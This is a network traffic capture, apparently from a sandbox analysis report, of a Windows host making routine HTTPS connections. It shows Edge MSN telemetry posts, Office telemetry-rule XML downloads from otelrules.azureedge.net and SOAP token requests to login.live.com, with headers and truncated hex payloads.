Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; msnup=
2024-11-25 17:28:53 UTC	5276	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 37 3a 32 38 3a 34 39 2e 39 38 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 31 33 66 33 38 36 61 2d 61 30 38 35 2d 34 35 61 34 2d 62 32 37 65 2d 30 36 32 37 32 32 38 66 64 61 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 39 31 36 31 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T17:28:49.988Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"413f386a-a085-45a4-b27e-0627228fda3a","epoch":"389161769"},"app":{"locale"
2024-11-25 17:28:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=26d4bcb3b54746058b6063f24494b9dd&HASH=26d4&LV=202411&V=4&LU=1732555733339; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 17:28:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5890c9eb3cfe4f6d921e7e4739e30693; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 17:58:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3350 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 17:28:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49900	13.89.179.8	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:53 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555730556&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5524 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; msnup=
2024-11-25 17:28:53 UTC	5524	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 37 3a 32 38 3a 35 30 2e 35 35 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 31 33 66 33 38 36 61 2d 61 30 38 35 2d 34 35 61 34 2d 62 32 37 65 2d 30 36 32 37 32 32 38 66 64 61 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 39 31 36 31 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-25T17:28:50.555Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"413f386a-a085-45a4-b27e-0627228fda3a","epoch":"389161769"},"app":{"loca
2024-11-25 17:28:54 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9b403cb6bba9400a95f1129d91b3f09d&HASH=9b40&LV=202411&V=4&LU=1732555733739; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 17:28:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5742aed1082548c3936efad159b22c69; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 17:58:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3183 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 17:28:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:54 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:54 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172854Z-178bfbc474bgvl54hC1NYCsfuw00000007w00000000002p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:54 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49902	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:28:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:55 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: d3ca79fa-e532-49fc-aa18-7efb4646906c PPServer: PPV: 30 H: PH1PEPF00011FB8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:54 GMT Connection: close Content-Length: 1918
2024-11-25 17:28:55 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:55 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: d5269c75-c01e-0066-3ae4-3ea1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-174c587ffdfks6tlhC1TEBeza400000006dg0000000016wx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49903	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:28:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: fe4ea57c-3cbf-4d41-9f5e-b2ca41519763 PPServer: PPV: 30 H: SN1PEPF0004014F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:54 GMT Connection: close Content-Length: 11409
2024-11-25 17:28:56 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:55 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7397a655-c01e-000b-4bbf-3ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-178bfbc474bwlrhlhC1NYCy3kg00000007w0000000001r1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:55 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-178bfbc474bvjk8shC1NYC83ns00000007n000000000bz65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:55 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ea7a0cbc-701e-001e-589c-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-178bfbc474bw8bwphC1NYC38b400000007q0000000003w6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:56 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: d599eecb-401e-0083-1bb7-3e075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172856Z-178bfbc474btrnf9hC1NYCb80g00000007v000000000rhah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
